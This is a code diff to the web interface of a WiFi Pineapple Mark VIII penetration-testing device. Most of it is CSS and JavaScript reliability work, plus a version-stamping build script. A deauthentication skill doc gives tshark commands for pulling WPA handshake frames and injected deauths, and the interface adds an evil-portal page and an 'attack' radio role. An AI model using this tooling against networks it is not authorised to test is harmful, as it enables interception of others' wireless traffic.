+proxy. Tear down: kill the pidfile pid, `iw dev wlan1ent del`, resume hop.
 
 ## Access
 

payload/user/remote_access/pager-webui/skills/wifi-deauth.md

@@ -89,7 +89,7 @@ kill $TDPID
 Analysis one-liners:
 ```sh
 tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c   # frame mix
-tshark -r cap -Y eapol -c 10                                                 # 4-way keys
+tshark -r cap -Y "llc && eth.type == 0x888e" -c 10                            # 4-way keys (this firmware's tcpdump/tshark `eapol` filter matches 0 frames — use llc/ether-proto)
 tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da  # deauths (injected vs client-mirrored)
 tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information"  # WPA2/PSK + PMF bits
 ```

payload/user/remote_access/pager-webui/www/css/app.css

@@ -62,6 +62,10 @@ body {
   align-items: center; justify-content: center;
 }
 .toolbar-icon-btn:hover, .toolbar-icon-btn:focus-visible { background: rgba(255,255,255,.12); outline: none; }
+.toolbar-icon-btn:disabled, .toolbar-icon-btn.busy,
+.menu-link:disabled, .menu-link.busy {
+  opacity: .45; cursor: wait; pointer-events: none;
+}
 .toolbar-icon-btn svg { width: 24px; height: 24px; display: block; }
 #terminal-btn.active, #pager-btn.active, .toolbar-icon-btn[aria-expanded="true"] {
   background: #1976d2; color: #fff;
@@ -200,12 +204,26 @@ html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
   box-shadow: 0 1px 3px rgba(0,0,0,.3);
 }
 .btn:hover { background: var(--primary-dark); }
-.btn:disabled, .btn.busy { opacity: .5; cursor: default; pointer-events: none; }
 .btn.ghost {
   background: transparent; color: var(--primary); box-shadow: none;
   border: 1px solid var(--primary);
 }
 .btn.danger { background: var(--danger); }
+.btn:disabled, .btn.busy {
+  background: #9e9e9e; color: #fafafa; opacity: 1;
+  cursor: wait; pointer-events: none; box-shadow: none;
+}
+.btn.ghost:disabled, .btn.ghost.busy {
+  background: var(--surface-alt); color: var(--muted);
+  border-color: var(--border);
+}
+.btn.danger:disabled, .btn.danger.busy { background: #9e9e9e; color: #fafafa; }
+html.dark .btn:disabled, html.dark .btn.busy {
+  background: #616161; color: #eeeeee;
+}
+html.dark .btn.ghost:disabled, html.dark .btn.ghost.busy {
+  background: var(--surface-alt); color: var(--muted);
+}
 input, select {
   background: var(--surface); color: var(--text); border: 1px solid var(--border);
   border-radius: 2px; padding: 8px 10px; width: 100%;
@@ -293,6 +311,9 @@ pre.logs {
 .switch input:checked + .track::after { left: 22px; }
 .switch input:indeterminate + .track { background: #9e9e9e; }
 .switch input:indeterminate + .track::after { left: 12px; }
+.switch:has(input:disabled), .switch:has(input.busy) {
+  opacity: .55; cursor: wait; pointer-events: none;
+}
 .sel { padding: 6px 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; background: var(--card, #fff); color: var(--text, #212121); }
 .pager { display: flex; gap: 8px; align-items: center; margin-top: 8px; }
 .muted { color: var(--muted, #686868); }
@@ -342,7 +363,7 @@ html.dark .muted { color: #bdbdbd; }
 .recon-ps-actions .icon-btn svg { width: 18px; height: 18px; }
 .icon-btn { background: transparent; color: var(--muted); border: 0; border-radius: 50%; width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; }
 .icon-btn:hover { background: var(--surface-alt); color: var(--text); }
-.icon-btn:disabled { opacity: .38; cursor: default; }
+.icon-btn:disabled, .icon-btn.busy { opacity: .38; cursor: wait; pointer-events: none; }
 .icon-btn svg { width: 22px; height: 22px; }
 .recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
 .recon-scan-bar .sel { width: auto; }
@@ -388,6 +409,9 @@ html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
 .recon-focus-twin:hover { background: #689f38; }
 .recon-focus-detail { display: flex; justify-content: space-between; gap: 10px; padding: 3px 0; border-bottom: 1px solid var(--border); font-size: 13px; }
 .recon-focus-detail-label { color: var(--muted); flex: none; }
+.recon-focus-client { display: grid; grid-template-columns: 1fr; gap: 2px; padding: 6px 0; border-bottom: 1px solid var(--border); font-size: 12px; }
+.recon-focus-client-mac { font-family: Consolas, Menlo, monospace; }
+.recon-focus-client-sources { color: var(--muted); }
 .recon-sort-arrow { color: var(--muted); font-size: 11px; }
 th.recon-sorted { color: var(--primary); }
 .recon-per { width: auto; }
@@ -406,7 +430,7 @@ html.dark .recon-dbm-bar { background: #333; }
 .recon-chip.active { background: var(--primary); border-color: var(--primary); color: #fff; }
 .recon-pill { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
 .recon-pill:hover { color: var(--text); border-color: var(--primary); }
-.recon-pill:disabled { opacity: .5; cursor: default; }
+.recon-pill:disabled, .recon-pill.busy { opacity: .5; cursor: wait; pointer-events: none; }
 .recon-pill.on { background: #e8f5e9; border-color: #a5d6a7; color: #2e7d32; }
 html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
 
@@ -470,12 +494,12 @@ html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
 .hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; }
 html.dark .modal { background: #303030; }
 
-/* ---- PineAP overview segmented control ---- */
+/* ---- PineAP segmented control ---- */
 .seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; }
 .seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); }
 .seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); }
 .seg-btn.active { background: var(--primary, #1976d2); color: #fff; }
-.seg-btn.busy { opacity: .5; pointer-events: none; }
+.seg-btn:disabled, .seg-btn.busy { opacity: .5; cursor: wait; pointer-events: none; }
 
 /* ---- PineAP Mark VII layout ---- */
 .pineap-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 30px; margin: 8px 0 16px; }
@@ -486,11 +510,6 @@ html.dark .modal { background: #303030; }
 .pineap-card-title-link:visited { color: inherit; }
 .pineap-card-title-link:hover { text-decoration: underline; }
 .pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; }
-.pineap-card-button-group { width: 100%; height: 30px; display: flex; }
-.pineap-card-button-group .seg { flex: 1; height: 100%; margin-top: 0; }
-.pineap-card-button-group .seg-btn { flex: 1; }
-.pineap-mode-save { display: flex; justify-content: flex-end; margin-top: 10px; }
-.pineap-mode-features { margin: 6px 0 0; padding-left: 20px; }
 .pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; }
 .pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); }
 
@@ -598,3 +617,37 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
   .payload-filters, .payload-dev-grid { grid-template-columns: 1fr; }
   .payload-actions { justify-content: flex-start; }
 }
+
+/* ---- Mark VIII reliability panel ---- */
+.mk8-rel-head { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }
+.mk8-rel-head h2 { margin: 0; }
+.mk8-counter-row {
+  display: grid; grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
+  gap: 10px; margin-bottom: 14px;
+}
+.mk8-counter { background: var(--surface-alt); border-radius: 2px; padding: 8px 12px; }
+.mk8-counter-value { font-size: 22px; font-weight: 500; font-variant-numeric: tabular-nums; }
+.mk8-counter-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--muted); }
+.mk8-events-feed { max-height: 280px; overflow-y: auto; border-top: 1px solid var(--border); }
+.mk8-event-row {
+  display: flex; align-items: baseline; gap: 10px; padding: 6px 2px;
+  border-bottom: 1px solid var(--border); font-size: 12px;
+}
+.mk8-event-time { flex: none; color: var(--muted); font-variant-numeric: tabular-nums; }
+.mk8-event-kind { flex: none; min-width: 90px; font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--primary); }
+.mk8-event-msg { flex: 1; min-width: 0; overflow-wrap: anywhere; }
+.mk8-event-row.sev-warn .mk8-event-msg { color: #b26a00; }
+.mk8-event-row.sev-error .mk8-event-msg { color: var(--danger); }
+html.dark .mk8-event-row.sev-warn .mk8-event-msg { color: #ffb74d; }
+
+/* ---- Mark VIII RF plan chip + role card ---- */
+#rf-chip { white-space: nowrap; }
+.rf-role-status { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin: 4px 0 10px; font-size: 12px; }
+.rf-role-grid {
+  display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
+  gap: 4px 14px; align-items: end;
+}
+.mk8-rf-result { font-size: 12px; margin-top: 10px; min-height: 16px; overflow-wrap: anywhere; }
+.mk8-rf-result.ok { color: #2e7d32; }
+.mk8-rf-result.error { color: var(--danger); }
+html.dark .mk8-rf-result.ok { color: #81c784; }

payload/user/remote_access/pager-webui/www/index.html

@@ -6,7 +6,7 @@
 <meta name="color-scheme" content="light dark">
 <title>WiFi Pineapple</title>
 <link rel="icon" type="image/png" href="assets/logo.png">
-<link rel="stylesheet" href="css/app.css?v=20260819-1">
+<link rel="stylesheet" href="css/app.css?v=20260822-1">
 <link rel="stylesheet" href="js/xterm.css">
 </head>
 <body>
@@ -27,6 +27,7 @@
     <span class="toolbar-spacer"></span>
     <span id="live-status"></span>
     <span id="health-status" class="health-chip"></span>
+    <span id="rf-chip" class="health-chip"></span>
     <div class="toolbar-action">
       <button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
               aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
@@ -262,13 +263,13 @@
 
 <script src="js/config.js"></script>
 <script src="js/icons.js?v=20260818-7"></script>
-<script src="js/api.js?v=20260819-2"></script>
+<script src="js/api.js?v=20260820-4"></script>
 <script src="js/chart.js?v=20260819-1"></script>
 <script src="js/xterm.min.js"></script>
 <script src="js/xterm-addon-fit.min.js"></script>
-<script src="js/terminal.js"></script>
-<script src="js/pager.js"></script>
-<script src="js/views.js?v=20260819-2"></script>
-<script src="js/app.js?v=20260819-1"></script>
+<script src="js/terminal.js?v=20260820-4"></script>
+<script src="js/pager.js?v=20260820-4"></script>
+<script src="js/views.js?v=20260822-3"></script>
+<script src="js/app.js?v=20260822-3"></script>
 </body>
 </html>

payload/user/remote_access/pager-webui/www/js/api.js

@@ -3,32 +3,32 @@
 const PagerAPI = (() => {
   let apiBase = '';
   let on401 = null;
-  // Reads are polled and must never hang a page's refresh loop; writes have
-  // server-side timeouts up to 45s (radio deploys) so they get no client
-  // abort.
   const GET_TIMEOUT_MS = 20000;
-  async function request(method, path, body) {
+  const WRITE_TIMEOUT_MS = 45000;
+  async function request(method, path, body, attempt) {
+    attempt = attempt || 0;
     const opts = { method, headers: {}, credentials: 'include' };
     if (body !== undefined) {
       opts.headers['Content-Type'] = 'application/json';
       opts.body = JSON.stringify(body);
     }
+    const timeoutMs = method === 'GET' ? GET_TIMEOUT_MS : WRITE_TIMEOUT_MS;
     const ctl = new AbortController();
-    const timer = method === 'GET' ? setTimeout(() => ctl.abort(), GET_TIMEOUT_MS) : null;
-    if (timer) opts.signal = ctl.signal;
+    const timer = setTimeout(() => ctl.abort(), timeoutMs);
+    opts.signal = ctl.signal;
     let res;
     try {
       res = await fetch(apiBase + path, opts);
     } catch (e) {
-      if (timer && e && e.name === 'AbortError') {
-        const error = new Error('Request timed out');
-        error.status = 0;
-        throw error;
+      clearTimeout(timer);
+      if (method === 'GET' && attempt < 1) {
+        return request(method, path, body, attempt + 1);
       }
-      throw e;
-    } finally {
-      if (timer) clearTimeout(timer);
+      const error = new Error((e && e.name === 'AbortError') ? 'Request timed out' : (e && e.message) || 'Network error');
+      error.status = 0;
+      throw error;
     }
+    clearTimeout(timer);
     if (res.status === 401) {
       if (on401) on401();
       throw new Error('unauthorized');

payload/user/remote_access/pager-webui/www/js/app.js

@@ -241,7 +241,7 @@ const App = (() => {
       });
   }
 
-  function handleMenuAction(action) {
+  function handleMenuAction(action, button) {
     closeToolbarMenus();
     if (action === 'help') {
       location.hash = '#/settings/help';
@@ -252,14 +252,18 @@ const App = (() => {
       if (typeof views.openClientModeModal === 'function') views.openClientModeModal();
       else checkInternet(true);
     } else if (action === 'logout') {
+      if (button) { button.disabled = true; button.classList.add('busy'); }
       PagerAPI.post('/api/logout')
         .then(() => showLogin())
-        .catch((error) => toast(error.message || 'Logout failed', 'error'));
+        .catch((error) => toast(error.message || 'Logout failed', 'error'))
+        .finally(() => { if (button) { button.disabled = false; button.classList.remove('busy'); } });
     } else if (action === 'reboot') {
       if (!window.confirm('Reboot Mark VIII now?')) return;
+      if (button) { button.disabled = true; button.classList.add('busy'); }
       PagerAPI.post('/api/settings/reboot')
         .then(() => toast('Reboot requested. Mark VIII will disconnect shortly.'))
-        .catch((error) => toast(error.message || 'Reboot failed', 'error'));
+        .catch((error) => toast(error.message || 'Reboot failed', 'error'))
+        .finally(() => { if (button) { button.disabled = false; button.classList.remove('busy'); } });
     }
   }
 
@@ -332,7 +336,7 @@ const App = (() => {
       renderNotifications();
     });
     Array.prototype.forEach.call(els.overflowMenu.querySelectorAll('[data-menu-action]'), (item) => {
-      item.addEventListener('click', () => handleMenuAction(item.getAttribute('data-menu-action')));
+      item.addEventListener('click', () => handleMenuAction(item.getAttribute('data-menu-action'), item));
     });
     document.addEventListener('click', closeToolbarMenus);
 
@@ -342,13 +346,14 @@ const App = (() => {
       const pw = document.getElementById('login-password').value;
       document.getElementById('login-error').textContent = '';
       btn.disabled = true;
+      btn.classList.add('busy');
       PagerAPI.login('root', pw)
         .then(() => { document.getElementById('login-password').value = ''; showApp(); toast('Logged in'); })
         .catch((err) => {
           document.getElementById('login-error').textContent = (err && err.message && err.message !== 'unauthorized')
             ? 'Login failed.' : 'Invalid credentials.';
         })
-        .finally(() => { btn.disabled = false; });
+        .finally(() => { btn.disabled = false; btn.classList.remove('busy'); });
     });
 
     document.getElementById('terminal-btn').addEventListener('click', () => {
@@ -415,6 +420,7 @@ const App = (() => {
     '#/recon': 'recon',
     '#/recon/reports': 'recon_reports',
     '#/recon/handshakes': 'recon_handshakes',
+    '#/pineap/evilportal': 'pineap_evilportal',
     '#/logging': 'logging',
     '#/logging/system': 'logging_system',
     '#/modules': 'modules',
@@ -443,6 +449,9 @@ const Live = (() => {
   let poll = null;
   let pollHealthTimer = null;
   let pollEventsTimer = null;
+  let pollRfTimer = null;
+  let rfState = null;
+  let rfChannel = null;
   const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
                        pineapUp: null, mon0: null, mon1: null };
   const subs = [];
@@ -461,6 +470,10 @@ const Live = (() => {
       pollEventsTimer = setInterval(pollEvents, 15000);
       pollEvents();
     }
+    if (!pollRfTimer) {
+      pollRfTimer = setInterval(pollRfplan, 15000);
+      pollRfplan();
+    }
     try { ws = new WebSocket(App.wsUrl('/api/ws')); }
     catch (e) { fallback(); return; }
     ws.onopen = () => { ever = true; };
@@ -507,6 +520,57 @@ const Live = (() => {
     const n = (msg.clients || []).length;
     const el = document.getElementById('live-status');
     if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + '  CLIENTS ' + n;
+    const wifi = (msg.status || {}).wifi;
+    if (Array.isArray(wifi)) {
+      const up = wifi.find((w) => w && w.iface === 'wlan1up');
+      rfChannel = up && up.channel != null ? Number(up.channel) : null;
+      renderRfChip();
+    }
+  }
+  function pollRfplan() {
+    fetch(App.apiBase + '/api/rfplan', { credentials: 'include' }).then((r) => {
+      if (!r.ok) throw new Error('http ' + r.status);
+      return r.json();
+    }).then((d) => {
+      rfState = d && typeof d.role === 'string' ? d : null;
+      renderRfChip();
+    }).catch(() => {
+      rfState = null;
+      const el = document.getElementById('rf-chip');
+      if (el) {
+        el.textContent = 'PHY1: ?';
+        el.title = 'RF plan unavailable';
+        el.className = 'health-chip warn';
+      }
+    });
+  }
+  function renderRfChip() {
+    const el = document.getElementById('rf-chip');
+    if (!el) return;
+    if (!rfState) {
+      el.textContent = '';
+      el.title = '';
+      el.className = 'health-chip';
+      return;
+    }
+    let text;
+    let cls = '';
+    if (rfState.role === 'uplink') {
+      text = 'PHY1: UPLINK' + (rfState.assoc && rfChannel ? ' ch' + rfChannel : '');
+      cls = rfState.assoc ? 'good' : 'warn';
+    } else if (rfState.role === 'attack') {
+      text = 'PHY1: ATTACK';
+      cls = 'warn';
+    } else if (rfState.role === 'idle') {
+      text = 'PHY1: IDLE';
+    } else {
+      text = 'PHY1: ' + String(rfState.role).toUpperCase();
+    }
+    el.textContent = text;
+    el.className = 'health-chip' + (cls ? ' ' + cls : '');
+    el.title = 'radio1 role: ' + rfState.role +
+      ' \u00b7 assoc ' + (rfState.assoc || 'none') +
+      ' \u00b7 hop ' + (rfState.hop_paused == null ? 'unknown' : rfState.hop_paused ? 'paused' : 'running');
   }
   function pollHealth() {
     fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
@@ -516,6 +580,9 @@ const Live = (() => {
         if (h.pineap_up === false) {
           el.textContent = 'PINEAPD DOWN';
           el.className = 'health-chip bad';
+        } else if (h.env && h.env.overall === 'fail') {
+          el.textContent = 'ENV CHECK FAIL';
+          el.className = 'health-chip bad';
         } else if (h.pool_disabled) {
           el.textContent = 'POOL OFF';
           el.className = 'health-chip warn';

payload/user/remote_access/pager-webui/www/js/icons.js

@@ -39,5 +39,6 @@ window.PineappleIcons = {
   record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
   place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
   play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
-  stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
+  stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
+  portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
 };

payload/user/remote_access/pager-webui/www/js/pager.js

@@ -5,6 +5,7 @@ const Pager = (() => {
   const SCREEN_HEIGHT = 222;
   const FB_STRIDE = SCREEN_WIDTH * 4;
   const PAGER_WIDTH = 745;
+  const MAX_QUEUED_KEYS = 24;
 
   const KEY_MAP = {
     'LEFT.png': 'ArrowLeft',
@@ -23,6 +24,10 @@ const Pager = (() => {
   let screenerr = null;
   let keyws = null;
   let screenws = null;
+  let wantOpen = false;
+  let retryTimer = null;
+  let retryMs = 400;
+  const pendingKeys = [];
 
   function ensure() {
     if (table) return;
@@ -36,10 +41,17 @@ const Pager = (() => {
       const src = img.getAttribute('src').split('/').pop();
       const key = KEY_MAP[src];
       if (!key) return;
-      img.addEventListener('click', () => press(img, key));
+      img.setAttribute('alt', key.replace('Arrow', ''));
+      img.addEventListener('pointerdown', (event) => {
+        event.preventDefault();
+        press(img, key);
+      });
     });
     const retry = document.getElementById('screen_retry');
-    if (retry) retry.addEventListener('click', () => connect());
+    if (retry) retry.addEventListener('click', () => {
+      retryMs = 400;
+      connect();
+    });
   }
 
   function press(el, key) {
@@ -48,8 +60,26 @@ const Pager = (() => {
     sendKey(key);
   }
 
+  function queueKey(k) {
+    pendingKeys.push(k);
+    while (pendingKeys.length > MAX_QUEUED_KEYS) pendingKeys.shift();
+  }
+
+  function flushKeys() {
+    while (pendingKeys.length && keyws && keyws.readyState === WebSocket.OPEN) {
+      try { keyws.send(pendingKeys.shift()); }
+      catch (e) { break; }
+    }
+  }
+
   function sendKey(k) {
-    if (keyws && keyws.readyState === WebSocket.OPEN) keyws.send(k);
+    if (keyws && keyws.readyState === WebSocket.OPEN) {
+      try { keyws.send(k); return true; }
+      catch (e) {}
+    }
+    queueKey(k);
+    if (wantOpen) connectKeys();
+    return false;
   }
 
   function renderRGBAFrame(bytes) {
@@ -76,33 +106,81 @@ const Pager = (() => {
     pager.src = canvas.toDataURL('image/png');
   }
 
-  function connect() {
-    disconnect();
+  function showError(show) {
+    if (screenerr) screenerr.hidden = !show;
+  }
+
+  function scheduleReconnect() {
+    if (!wantOpen) return;
+    clearTimeout(retryTimer);
+    retryTimer = setTimeout(() => {
+      if (!wantOpen) return;
+      connectScreen();
+      connectKeys();
+    }, retryMs);
+    retryMs = Math.min(5000, Math.max(400, retryMs * 2));
+  }
+
+  function connectScreen() {
+    if (!wantOpen) return;
+    if (screenws && (screenws.readyState === WebSocket.OPEN || screenws.readyState === WebSocket.CONNECTING)) return;
     try {
       const sock = new WebSocket(App.pagerScreenWs);
       sock.binaryType = 'arraybuffer';
       screenws = sock;
-      sock.onopen = () => { screenerr.hidden = true; };
+      sock.onopen = () => {
+        retryMs = 400;
+        if (keyws && keyws.readyState === WebSocket.OPEN) showError(false);
+      };
       sock.onmessage = (ev) => {
+        showError(false);
         if (ev.data instanceof ArrayBuffer) renderRGBAFrame(new Uint8Array(ev.data));
         else if (ev.data && ev.data.arrayBuffer) ev.data.arrayBuffer().then((b) => renderRGBAFrame(new Uint8Array(b)));
       };
-      sock.onerror = () => { screenerr.hidden = false; };
-      sock.onclose = () => { if (screenws === sock) screenws = null; screenerr.hidden = false; };
+      sock.onerror = () => { showError(true); };
+      sock.onclose = () => {
+        if (screenws === sock) screenws = null;
+        showError(true);
+        scheduleReconnect();
+      };
     } catch (e) {
-      screenerr.hidden = false;
-    }
-    try {
-      const sock = new WebSocket(App.pagerKeysWs);
-      keyws = sock;
-      sock.onclose = () => { if (keyws === sock) keyws = null; };
-      sock.onerror = () => { try { sock.close(); } catch (e2) {} };
-    } catch (e) {
-      keyws = null;
+      showError(true);
+      scheduleReconnect();
     }
   }
 
+  function connectKeys() {
+    if (!wantOpen) return;
+    if (keyws && (keyws.readyState === WebSocket.OPEN || keyws.readyState === WebSocket.CONNECTING)) return;
+    try {
+      const sock = new WebSocket(App.pagerKeysWs);
+      keyws = sock;
+      sock.onopen = () => {
+        retryMs = 400;
+        flushKeys();
+        if (screenws && screenws.readyState === WebSocket.OPEN) showError(false);
+      };
+      sock.onclose = () => {
+        if (keyws === sock) keyws = null;
+        scheduleReconnect();
+      };
+      sock.onerror = () => { try { sock.close(); } catch (e2) {} };
+    } catch (e) {
+      keyws = null;
+      scheduleReconnect();
+    }
+  }
+
+  function connect() {
+    connectScreen();
+    connectKeys();
+  }
+
   function disconnect() {
+    wantOpen = false;
+    clearTimeout(retryTimer);
+    retryTimer = null;
+    pendingKeys.length = 0;
     if (screenws) { try { screenws.close(); } catch (e) {} screenws = null; }
     if (keyws) { try { keyws.close(); } catch (e) {} keyws = null; }
   }
@@ -121,6 +199,8 @@ const Pager = (() => {
       panel.classList.remove('hidden');
       document.getElementById('pager-btn').classList.add('active');
       applyScale();
+      wantOpen = true;
+      retryMs = 400;
       connect();
       try { pager.focus(); } catch (e) {}
     } else {

payload/user/remote_access/pager-webui/www/js/terminal.js

@@ -5,6 +5,9 @@ const Term = (() => {
   let fitAddon = null;
   let ws = null;
   let panel = null;
+  let wantOpen = false;
+  let retryTimer = null;
+  let retryMs = 400;
 
   function ensure() {
     if (term) return;
@@ -14,7 +17,20 @@ const Term = (() => {
     term.loadAddon(fitAddon);
     term.open(document.getElementById('terminal'));
     try { fitAddon.fit(); } catch (e) {}
-    term.onData((d) => { if (ws && ws.readyState === WebSocket.OPEN) ws.send(d); });
+    term.onData((d) => {
+      if (ws && ws.readyState === WebSocket.OPEN) {
+        try { ws.send(d); } catch (e) {}
+      }
+    });
+  }
+
+  function scheduleReconnect() {
+    if (!wantOpen) return;
+    clearTimeout(retryTimer);
+    retryTimer = setTimeout(() => {
+      if (wantOpen) connect();
+    }, retryMs);
+    retryMs = Math.min(5000, Math.max(400, retryMs * 2));
   }
 
   function toggle() {
@@ -23,6 +39,8 @@ const Term = (() => {
       panel.classList.remove('hidden');
       document.getElementById('terminal-btn').classList.add('active');
       try { fitAddon.fit(); } catch (e) {}
+      wantOpen = true;
+      retryMs = 400;
       connect();
     } else {
       panel.classList.add('hidden');
@@ -32,25 +50,39 @@ const Term = (() => {
   }
 
   function connect() {
-    if (ws) return;
+    if (!wantOpen) return;
+    if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
     if (term) term.reset();
     let sock;
     try {
       sock = new WebSocket(App.terminalWs);
     } catch (e) {
       term.writeln('\r\n[cannot reach daemon terminal: ' + e.message + ']');
+      scheduleReconnect();
       return;
     }
     ws = sock;
+    sock.onopen = () => { retryMs = 400; };
     sock.onmessage = (ev) => {
       if (typeof ev.data === 'string') term.write(ev.data);
       else ev.data.text().then((t) => term.write(t));
     };
-    sock.onclose = () => { if (ws === sock) ws = null; if (term) term.writeln('\r\n[connection closed]'); };
+    sock.onclose = () => {
+      if (ws === sock) ws = null;
+      if (term && wantOpen) {
+        term.writeln('\r\n[connection closed — reconnecting]');
+        scheduleReconnect();
+      } else if (term) {
+        term.writeln('\r\n[connection closed]');
+      }
+    };
     sock.onerror = () => { try { sock.close(); } catch (e) {} };
   }
 
   function disconnect() {
+    wantOpen = false;
+    clearTimeout(retryTimer);
+    retryTimer = null;
     if (ws) { try { ws.close(); } catch (e) {} ws = null; }
   }
 

scripts/build_common.py

@@ -0,0 +1,124 @@
+#!/usr/bin/env python3
+"""Build helpers shared by Mark VIII deploy scripts.
+
+stamp_version() stamps release metadata into BUILD COPIES ONLY: callers
+always pass a staging/build directory, never the source tree, so the repo
+stays clean while every deployed artifact reports the same VERSION.
+"""
+
+import json
+import os
+import re
+import sys
+
+VERSION_RE = re.compile(r'^[0-9][A-Za-z0-9._-]{0,31}$')
+SERVER_VERSION_LINE = "SERVER_VERSION = '%s'\n"
+
+
+def _stamp_manifest(path, version):
+    try:
+        with open(path, encoding='utf-8') as f:
+            data = json.load(f)
+    except (OSError, ValueError):
+        return False
+    if not isinstance(data, dict):
+        return False
+    data['version'] = version
+    with open(path, 'w', encoding='ascii') as f:
+        json.dump(data, f, indent=2)
+        f.write('\n')
+    return True
+
+
+def _stamp_payload_sh(path, version):
+    try:
+        with open(path, encoding='utf-8') as f:
+            lines = f.readlines()
+    except OSError:
+        return False
+    out = []
+    replaced = False
+    for line in lines:
+        m = None if replaced \
+            else re.match(r'^(\s*#\s*[Vv]ersion:).*$', line)
+        if m:
+            out.append(m.group(1) + ' ' + version + '\n')
+            replaced = True
+        else:
+            out.append(line)
+    if not replaced:
+        insert = 1 if lines and lines[0].startswith('#!') else 0
+        out.insert(insert, '# Version: %s\n' % version)
+    with open(path, 'w', encoding='utf-8') as f:
+        f.writelines(out)
+    return True
+
+
+def _server_insert_index(lines):
+    """Index just past any shebang/comments/blanks and module docstring."""
+    i = 0
+    n = len(lines)
+    if i < n and lines[i].startswith('#!'):
+        i += 1
+    while i < n and (lines[i].strip().startswith('#')
+                     or not lines[i].strip()):
+        i += 1
+    if i < n:
+        stripped = lines[i].lstrip()
+        quote = stripped[:3]
+        if quote in ('"""', "'''"):
+            closed_here = quote in stripped[3:]
+            i += 1
+            if not closed_here:
+                while i < n and quote not in lines[i]:
+                    i += 1
+                i += 1
+    return min(i, len(lines))
+
+
+def _stamp_server_py(path, version):
+    try:
+        with open(path, encoding='utf-8') as f:
+            lines = f.readlines()
+    except OSError:
+        return False
+    lines = [l for l in lines if not l.startswith('SERVER_VERSION')]
+    idx = _server_insert_index(lines)
+    lines.insert(idx, SERVER_VERSION_LINE % version)
+    with open(path, 'w', encoding='utf-8') as f:
+        f.writelines(lines)
+    return True
+
+
+def stamp_version(build_dir, version):
+    """Stamp <version> into build copies found under build_dir.
+
+    Updates every ``_hak5_manifest.json`` (version field), ``payload.sh``
+    (header Version line) and ``server.py`` (injected SERVER_VERSION
+    constant near the top). Idempotent: re-running never duplicates the
+    injected constant or header. Returns the list of stamped paths."""
+    if not VERSION_RE.match(str(version)):
+        raise ValueError('invalid version string: %r' % (version,))
